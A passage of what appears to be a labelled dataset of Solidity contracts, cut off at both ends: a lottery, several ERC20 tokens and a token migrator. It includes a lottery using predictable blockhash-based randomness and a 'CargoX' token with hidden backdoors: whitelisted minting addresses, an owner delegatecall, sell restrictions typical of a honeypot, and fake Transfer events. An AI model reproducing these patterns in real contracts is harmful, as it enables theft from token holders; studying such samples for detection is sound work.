for(uint j = 1; j <= game.membersCounter; j++) {
Member memory member = games[i].members[j];
if(member.payout == 1) { continue; }
uint8 mn = findMatch(game.win_numbers, member.numbers);
if(mn == 2) {
games[i].members[j].prize = game.p2;
payoutAmount += game.p2;
}
if(mn == 3) {
games[i].members[j].prize = game.p3;
payoutAmount += game.p3;
}
if(mn == 4) {
games[i].members[j].prize = game.p4;
payoutAmount += game.p4;
}
if(mn == 5) {
games[i].members[j].prize = game.p5;
payoutAmount += game.p5;
}
games[i].members[j].payout = 1;
emit PayOut(i, j, games[i].members[j].prize, 1);
}
}
if(payoutAmount != 0) msg.sender.transfer(payoutAmount);
return;
}
if( GAME_NUM > 0 && games[GAME_NUM].status == 1 && POOL_COUNTER == 0 ) {
if(msg.value == TICKET_PRICE) {
createTicket();
} else {
if(msg.value < TICKET_PRICE) {
FUND_PR = FUND_PR + msg.value.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + msg.value.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
} else {
msg.sender.transfer(msg.value.sub(TICKET_PRICE));
createTicket();
}
}
} else {
msg.sender.transfer(msg.value);
}
}
function createTicket() private {
bool err = false;
uint8[5] memory numbers;
FUND_PR = FUND_PR + TICKET_PRICE.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + TICKET_PRICE.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
(err, numbers) = ParseCheckData();
uint mbrCnt;
if(err) {
for(uint8 i = 0; i < 5; i++) {
numbers[i] = random(i);
}
for(uint8 i = 0; i < 4; i++) {
for(uint8 j = i + 1; j < 5; j++) {
if(numbers[i] == numbers[j]) {
numbers[j]++;
}
}
}
}
numbers = sortNumbers(numbers);
games[GAME_NUM].membersCounter++;
mbrCnt = games[GAME_NUM].membersCounter;
games[GAME_NUM].members[mbrCnt].addr = msg.sender;
games[GAME_NUM].members[mbrCnt].ticket = mbrCnt;
games[GAME_NUM].members[mbrCnt].numbers = numbers;
emit NewMember(GAME_NUM, mbrCnt, msg.sender, numbers[0], numbers[1], numbers[2], numbers[3], numbers[4]);
}
function ParseCheckData() private view returns (bool, uint8[5] memory) {
bool err = false;
uint8[5] memory numbers;
if(msg.data.length == 5) {
for(uint8 i = 0; i < msg.data.length; i++) {
numbers[i] = uint8(msg.data[i]);
}
for(uint8 i = 0; i < numbers.length; i++) {
if(numbers[i] < 1 || numbers[i] > MAX_NUMBER) {
err = true;
break;
}
}
if(!err) {
for(uint8 i = 0; i < numbers.length - 1; i++) {
for(uint8 j = i + 1; j < numbers.length; j++) {
if(numbers[i] == numbers[j]) {
err = true;
break;
}
}
if(err) {
break;
}
}
}
} else {
err = true;
}
return (err, numbers);
}
function sortNumbers(uint8[5] memory arrNumbers) private pure returns (uint8[5] memory) {
uint8 temp;
for(uint8 i = 0; i < arrNumbers.length - 1; i++) {
for(uint j = 0; j < arrNumbers.length - i - 1; j++)
if (arrNumbers[j] > arrNumbers[j + 1]) {
temp = arrNumbers[j];
arrNumbers[j] = arrNumbers[j + 1];
arrNumbers[j + 1] = temp;
}
}
return arrNumbers;
}
function getBalance() public view returns(uint) {
uint balance = address(this).balance;
return balance;
}
function random(uint8 num) internal view returns (uint8) {
return uint8((uint(blockhash(block.number - 1 - num*2)) + now) % MAX_NUMBER + 1);
}
function getGameInfo(uint i) public view returns (uint, uint, uint8, uint8, uint8, uint8, uint8, uint8, uint, uint, uint, uint) {
Game memory game = games[i];
return (game.totalFund, game.membersCounter, game.win_numbers[0], game.win_numbers[1], game.win_numbers[2], game.win_numbers[3], game.win_numbers[4], game.status, game.p2, game.p3, game.p4, game.p5);
}
function getMemberInfo(uint i, uint j) public view returns (address, uint, uint8, uint8, uint8, uint8, uint8, uint, uint8) {
Member memory mbr = games[i].members[j];
return (mbr.addr, mbr.ticket, mbr.numbers[0], mbr.numbers[1], mbr.numbers[2], mbr.numbers[3], mbr.numbers[4], mbr.prize, mbr.payout);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,153 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "SEPA TOKEN";
string public constant TOKEN_SYMBOL = "SEPT";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xCf53446cDb5B386f0bdF2c3A681F24A051049f8A;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0xcf53446cdb5b386f0bdf2c3a681f24a051049f8a)];
uint[1] memory amounts = [uint(30000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 5,313 |
pragma solidity >=0.6.0 <0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
pragma solidity >=0.6.0 <0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.7.5;
interface ICallable {
function tokenCallback(address _from, uint _tokens, bytes calldata _data) external returns (bool);
}
pragma solidity ^0.7.5;
interface IDrainer {
function drainEth(address payable _beneficiary) external;
function drainTokens(address _token, address _beneficiary, uint _amount) external;
}
pragma solidity ^0.7.5;
abstract contract Drainer is IDrainer, Ownable {
function drainEth(address payable _beneficiary)
public
onlyOwner
virtual
override
{
uint balance = address(this).balance;
_beneficiary.call{ value : balance}("");
}
function drainTokens(address _token, address _beneficiary, uint _amount)
public
onlyOwner
virtual
override
{
require(_amount > 0, "0 amount");
IERC20(_token).transfer(_beneficiary, _amount);
}
}
pragma solidity ^0.7.5;
contract BonkMigrator is Ownable, ReentrancyGuard, Drainer, ICallable {
using SafeMath for uint;
uint public constant CLAIM_PERIOD = 100 days;
IERC20 public oldToken;
IERC20 public newToken;
uint public deadline;
mapping(address => uint) public migrated;
uint public totalMigrated;
event Migrated(address indexed _recipient, uint _amount, uint _timestamp);
constructor(address _oldToken, address _newToken)
{
require(_oldToken != address(0), "Invalid old token address");
require(_newToken != address(0), "Invalid new token address");
oldToken = IERC20(_oldToken);
newToken = IERC20(_newToken);
deadline = _getNow() + CLAIM_PERIOD;
}
modifier beforeDeadline() {
require(_getNow() <= deadline, "Too late");
_;
}
modifier onlyOldBonkToken() {
require(msg.sender == address(oldToken), "Caller is not the old token");
_;
}
function tokenCallback(address _from, uint256 _tokens, bytes calldata _data)
external
override
nonReentrant
beforeDeadline
onlyOldBonkToken
returns (bool)
{
require(_tokens > 0, "Invalid amount");
_tokens = _tokens.mul(100).div(110);
_migrate(_from, _tokens);
return true;
}
function migrateAll()
external
returns (bool)
{
uint balance = oldToken.balanceOf(msg.sender);
return migrate(balance);
}
function migrate(uint _amount)
public
nonReentrant
beforeDeadline
returns (bool)
{
require(_amount > 0, "Invalid amount");
require(oldToken.transferFrom(msg.sender, address(this), _amount), "Transfer failed");
_migrate(msg.sender, _amount);
return true;
}
function drainTokens(address _token, address _beneficiary, uint _amount)
public
override
{
require(_getNow() > deadline, "Too early");
super.drainTokens(_token, _beneficiary, _amount);
}
function _migrate(address _recipient, uint _amount)
internal
{
migrated[_recipient] = migrated[_recipient].add(_amount);
totalMigrated = totalMigrated.add(_amount);
require(newToken.transfer(_recipient, _amount), "Tokens transfer failed");
emit Migrated(_recipient, _amount, _getNow());
}
function _getNow()
internal
view
returns (uint)
{
return block.timestamp;
}
} | 0 | 1,672 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract CargoX {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 139 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Forus{
string public constant symbol = "FRS";
string public constant name = "Forus";
uint8 public constant decimals = 12;
uint256 _totalSupply = 220000000000000000000;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
address public owner;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
function Forus() {
owner = msg.sender;
balances[owner] = 220000000000000000000;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = _totalSupply;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | 1 | 3,862 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
